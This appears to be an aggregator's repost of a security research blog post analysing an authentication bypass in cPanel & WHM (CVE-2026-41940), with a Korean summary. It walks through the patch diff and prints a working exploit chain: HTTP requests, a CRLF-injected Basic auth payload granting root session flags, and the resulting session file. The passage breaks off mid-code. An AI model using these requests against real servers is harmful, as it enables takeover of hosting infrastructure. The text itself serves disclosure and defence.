CPanel and WHM Authentication Bypass Affecting 70M Domains
hackernews
|
|
📰 뉴스
#취약점/보안
원문 출처: hackernews · Genesis Park에서 요약 및 분석
요약
보안 연구소 watchTowr Labs는 웹 호스팅 관리에 널리 쓰이는 cPanel과 WHM에서 인증 우회 취약점을 발견했다고 밝혔습니다. 이 소프트웨어는 전 세계 7,000만 개 이상의 도메인에 영향을 미치며, 서버의 최고 관리자 권한을 탈취할 수 있는 치명적인 허점이 있는 것으로 전해졌습니다. 연구소는 이를 고객들에게 알리고 AI 기반의 자동 방어 규칙을 신속히 배포하여 피해 예방에 나섰습니다.
본문
Hello! Yes, it's all a disaster again! Let's get this party started: No comments today, so imagine this: - We wrote something that we find very funny, - Nobody else gets it, - But everyone humors us Just like a typical watchTowr Labs blog introduction. As with all watchTowr Labs research, this didn't start with a blog post - but is the end result of a coordinated capability that enables watchTowr clients to rapidly react to, and autonomously mitigate, emerging threats. - AI-Driven Rapid Reaction executed across the watchTowr client base, leveraging watchTowr research to identify affected instances and validate exposure rapidly after disclosure, - Active Defense mitigation rules were released, enabling autonomous mitigation at the network edge. What Is cPanel & WHM? Well, dear reader - for those that have never had the joyous experience of managing shared hosting infrastructure, cPanel and WHM is the control panel solution that runs, depending on who you ask, somewhere north of 70 million domains. WHM is the administrative interface - root-level access to the server, SSL certificates, security protocols, the lot - and cPanel is the user-facing panel for individual hosting accounts. Think of it as the keys to the kingdom, and then the keys to every individual apartment inside the kingdom. If the kingdom was the Internet and the apartments were websites. For everything. What Is CVE-2026-41940 And Why Is It So Catchy? According to cPanel, this vulnerability affects - and we cannot stress this enough - all currently supported versions of cPanel & WHM. Not some, or a few, or a specific release track. cPanel have been fairly eco-friendly, producing an advisory that used few word to ensure few paper print. What we do know, though, is that this is a vulnerability affecting "session loading and saving" - or in plainer non-cPanelican English, an "Authentication Bypass" And then it got worse, with KnownHost confirming in-the-wild exploitation has been ongoing and that this vulnerability was used as a zero-day against - as we mentioned - the management plane of a significant part of the Internet. cPanel, in their many words, recommends upgrading to the following patched versions (ideally yesterday?): - cPanel & WHM 110.0.x - patched in 11.110.0.97 (was 11.110.0.96) - cPanel & WHM 118.0.x - patched in 11.118.0.63 (was 11.118.0.61) - cPanel & WHM 126.0.x - patched in 11.126.0.54 (was 11.126.0.53) - cPanel & WHM 132.0.x - patched in 11.132.0.29 (was 11.132.0.27) - cPanel & WHM 134.0.x - patched in 11.134.0.20 (was 11.134.0.19) - cPanel & WHM 136.0.x - patched in 11.136.0.5 (was 11.136.0.4) For avoidance of doubt, for today's schenanigans, we reviewed: - cPanel & WHM 11.110.0.97 (patched) - cPanel & WHM 11.110.0.96 (unpatched) As always, with clues from the ether and drama in our heads, we pulled the pin out of the proverbial grenade and jumped on it. Let's Get On With It - It's Time To (Be) Diff Ignoring the pain of our proverbial explosion, we identified 3 modified files of interest: Cpanel/Session.pm (saver) Cpanel/Session/Load.pm (loader) Cpanel/Session/Encoder.pm (new hex round-trip primitives) However, specifically the changes to the function saveSession in Session.pm caught our eye: If you zoom in on your screen (bring it closer to your face), we're greeted with this beautiful hint: Being a bit more scientific, we see the following actual code changes: sub saveSession { my ( $session, $session_ref, %options ) = @_; ... my $ob = get_ob_part( \$session ); return 0 if !is_valid_session_name($session); - my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob ); - local $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} ) - if $encoder && length $session_ref->{'pass'}; + filter_sessiondata($session_ref); # {'pass'} ) { + if ( defined $ob && length $ob ) { + my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob ); + $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} ); + } + else { + $session_ref->{'pass'} = # hex_encode_only( $session_ref->{'pass'} ); + } + } ... } The filter_sessiondata function leveraged above in Session.pm already exists though, albeit with a new call, and has a simple task (as always in security): sanitize \r\n=\ from existing in any input/fields that are passed. sub filter_sessiondata { my ($session_ref) = @_; no warnings 'uninitialized'; ## no critic(ProhibitNoWarnings) # Prevent manipulation of other entries in session file tr{\r\n=\,}{}d for values %{ $session_ref->{'origin'} }; # Prevent manipulation of other entries in session file tr{\r\n}{}d for @{$session_ref}{ grep { $_ ne 'origin' } keys %{$session_ref} }; # Cleanup possible directory traversal ( A valid 'pass' may have these chars ) tr{/}{}d for @{$session_ref}{ grep { exists $session_ref->{$_} } qw(user login_theme theme lang) }; return $session_ref; } For example, if a caller of this function provides the following value: pass = foo\nhasroot=1 filter_sessiondata will do its thing and massacre any value into becoming: pass = foohasroot=1 This lines up with what we'd roughly expect for a basic protection against CRLF. But, the bigger question - if filter_sessiondata already existed, what is the patch doing? It's "simple" - the patch moves the filter_sessiondata call inside saveSession itself, rather than relying on every caller to remember it. The patch also introduces another change we'll circle back to shortly - but first, something more exciting. Let's look at how session files are structured in cPanel and WHM. Anatomy Of A Session File We have a hunch session files are related, given the constant harassment by the word session - so let's actually look at one of these things. You can trigger creation in the usual way: by breaching the CMA with an incorrect but maliciously intended login attempt: POST /login/?login_only=1 HTTP/1.1 Host: target:2087 Content-Type: application/x-www-form-urlencoded Content-Length: 20 user=root&pass=wrong cPanel (specifically cpsrvd ) responds as follows (a polite way of saying get lost, punq): HTTP/1.1 401 Access Denied Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa; HttpOnly; path=/; port=2087; secure Content-Type: text/plain; charset="utf-8" Content-Length: 38 {"status":0,"message":"see_login_log"} See that cookie? The only one? Did you find it yet? Well, if you URL-decode that cookie, you get :Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa - a session name. Nothing unusual so far, much like our usual frenz PHPSESSID or JSESSIONID . At this point, cpsrvd has minted a "preauth" session and written it to disk. The on-disk file looks like this: $ cat /var/cpanel/sessions/raw/:Wg_mjzgt1hyfXefK local_ip_address=172.17.0.2 external_validation_token=bOOwkwVzFsruooU0 cp_security_token=/cpsess7833455106 needs_auth=1 origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass hulk_registered=0 tfa_verified=0 ip_address=172.17.0.1 local_port=2087 port=49254 login_theme=cpanel Why does the file exist if the login failed? For the usual reasons, like other frameworks and languages, because cpsrvd uses session files as a state machine across requests. The preauth session stores a pre-issued cp_security_token , the source IP for IP-locking, a 2FA verification flag, and more. When the user eventually logs in successfully, that same session gets upgraded with user=… and pass=… keys. But.. look at the name on disk. Then, look back at the URL-decoded cookie. What's that ,1bd3d4... part of the cookie? That's the segment. The 32 hex chars after the comma are a per-session secret (referred to as ob , used by Cpanel::Session::Encoder to symmetrically encode the pass field so it isn't sitting on disk in cleartext. In our friendly diff, we can see that is suspiciously close and involved in many changes: One in particular stands out: if ( defined $ob && length $ob ) This is interesting - they're now making sure the $ob variable is actually set. Its value comes from the following invocation: my $ob = get_ob_part( \$session ); As we discussed earlier, the segment is the value after the comma in the cookie: Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa decodes to Set-Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa With this logic, the encoder is created from $ob : my $ob = get_ob_part( \$session ); my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob ); if ($encoder && length $session_ref->{'pass'}) { local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'}); } But - if $ob is empty (no comma, or nothing after the comma), $encoder is '' (falsy), encoding never happens, and pass is written unencoded to the on-disk session file. That's great for us - we'll understand why later, but we suspect most of you can already see where this is going. Now that we understand the issue - saveSession not properly stripping CRLF, and a provided pass value not being encoded due to a missing hex key - let's find all the places where saveSession is invoked. We have our dangerous sink, now we just need to find the callers and see what we can achieve. $ grep -rn 'saveSession\b' /usr/local/cpanel/ --include='*.pm' --include='*.pl' Cpanel/Session.pm:145: if ( saveSession( $randsession, $session_ref, 'initial' => 1 ) ) { Cpanel/Session/RegisteredProcesses.pm:78: Cpanel::Session::saveSession( $session_id, $session_ref ); Cpanel/Auth/Digest.pm:47: Cpanel::Session::saveSession( $session, $SESSION_ref ); Whostmgr/TicketSupport/Token.pm:148: Cpanel::Session::saveSession( $session_id, $session_data ); […] We'll save you some time - they are all dead ends. As a tl;dr, every caller in the above files were 'safe' (in this context). But.. The Caller We Need, Not The Caller We Deserve - cpsrvd While reviewing cpsrvd , we came across the following snippet - the code responsible for handling Basic authentication requests. Surprise, surprise, surprise. my $auth_header = $server_obj->request->get_headers->{'authorization'}; if (not $auth_header) { $server_obj->badpass('preserve_token', 1, 'noauth', 1); } else { my ($authtype, $encoded) = split(/\s+/, $auth_header, 2); if ($authtype =~ /^basic$/i) { my ($user, $pass) = split(/:/, decode_base64($encoded), 2); ... $user = $server_obj->auth->set_user($user); # strips \0 and / $pass = $server_obj->auth->set_pass($pass); # strips \0 ONLY ... if (defined $SESSION_ref) { my $safe_login = $SESSION_ref->{'needs_auth'} ? 1 : 0; if (defined $SESSION_ref->{'user'} and defined $SESSION_ref->{'pass'} and $SESSION_ref->{'user'} eq $user and $SESSION_ref->{'pass'} eq $pass) { $safe_login = 1; } else { $SESSION_ref->{'needs_auth'} = 1; } ... if ($SESSION_ref->{'needs_auth'}) { delete $SESSION_ref->{'needs_auth'}; $SESSION_ref->{'user'} = $user; $SESSION_ref->{'pass'} = $pass; # (1) attacker $pass unless (Cpanel::Session::saveSession($session, $SESSION_ref)) { // (2) $server_obj->badpass(...); } } ... } } } Two things to note here: $pass is derived from theAuthorization: Basic header after base64-decoding. The only sanitisation isset_pass , which strips NUL bytes - and nothing else.\r\n survives.saveSession is called directly - not viaCpanel::Session::create - and there's no sign offilter_sessiondata being invoked either. If we send an Authorization: Basic header whose decoded : contains \r\n in , those bytes are written straight into the session file at /var/cpanel/sessions/raw/ . Now, in case you're asking - "but doesn't the encoder still encode pass to hex?" - only if $ob is non-empty. And $ob comes from the cookie: my $session = $server_obj->get_current_session; # from cookie $SESSION_ref = Cpanel::Session::Load::loadSession($session); ... # inside saveSession: my $ob = get_ob_part( \$session ); # strips , my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob ); The cookie contains the session name. If we send a cookie of :Wg_mjzgt1hyfXefK, , the $ob is the hex and encoding fires. If we send :Wg_mjzgt1hyfXefK with no comma, $ob is empty and the encoder doesn't fire - meaning $session_ref->{'pass'} is never overwritten with its encoded version and stays in its original, plaintext form. if ($encoder && length $session_ref->{'pass'}) { local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'}); } The on-disk session file path resolves to the same place in both cases - get_ob_part strips the tail before path resolution. So we can: - Make a real session by failing a login, which gives us a valid file at /var/cpanel/sessions/raw/ . - Send a Basic auth request with Cookie: whostmgrsession=: - the same cookie the server gave us, but with the, chopped off. The server resolves the file just fine. The encoder doesn't fire. \r\n lands raw on disk. Big Red Button Time? Are we here? Have we figured it all out? Well.. we have: - A way to mint a preauth session - POST /login/?login_only=1 with bad creds. - A way to inject \r\n - Basic auth header combined with a no-ob cookie. - A rough idea of how to trigger the bug. Let's try it. POST /login/?login_only=1 HTTP/1.1 Host: target:2087 Content-Type: application/x-www-form-urlencoded Content-Length: 20 user=root&pass=wrong Response: HTTP/1.1 401 Access Denied Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b; HttpOnly; path=/; port=2087; secure Content-Length: 38 {"status":0,"message":"see_login_log"} Decoded cookie: :QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b The base name (no-ob): :QSJN_sFdKZtCi2o_ URL-encoded back: %3aQSJN_sFdKZtCi2o_ Now the injection. We craft an HTTP Basic credential string root: where is: x\r\n hasroot=1\r\n tfa_verified=1\r\n user=root\r\n cp_security_token=/cpsess9999999999\r\n successful_internal_auth_with_timestamp=1777462149 The first byte (x ) is the password stored under the legitimate pass= key. Everything from \r\n onwards appears as separate records once the session is written to disk. We base64-encode this into the Authorization header - root:x\r\nhasroot=1\r\n… - and fire: GET / HTTP/1.1 Host: target:2087 Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_ Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3Nl… Connection: close Two things to note: - The Cookie header has only the base name (%3aQSJN_sFdKZtCi2o_ ) - no%2c… tail. - The URL is / , not/login/ . We'll come back to that choice in a minute. Response: HTTP/1.1 307 Moved Connection: close Content-length: 102 Location: /cpsess0228251236/ Cache-Control: no-cache, no-store, must-revalidate, private Content-type: text/html; charset="utf-8" A 307 redirect. cpsrvd seems to think we authenticated. Did the injection land? $ cat -A /var/cpanel/sessions/raw/:QSJN_sFdKZtCi2o_ tfa_verified=0$ ip_address=172.17.0.1$ user=root$ login_theme=cpanel$ port=43586$ origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass$ pass=x my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session; my $session_ref; # First t
Genesis Park 편집팀이 AI를 활용하여 작성한 분석입니다. 원문은 출처 링크를 통해 확인할 수 있습니다.
공유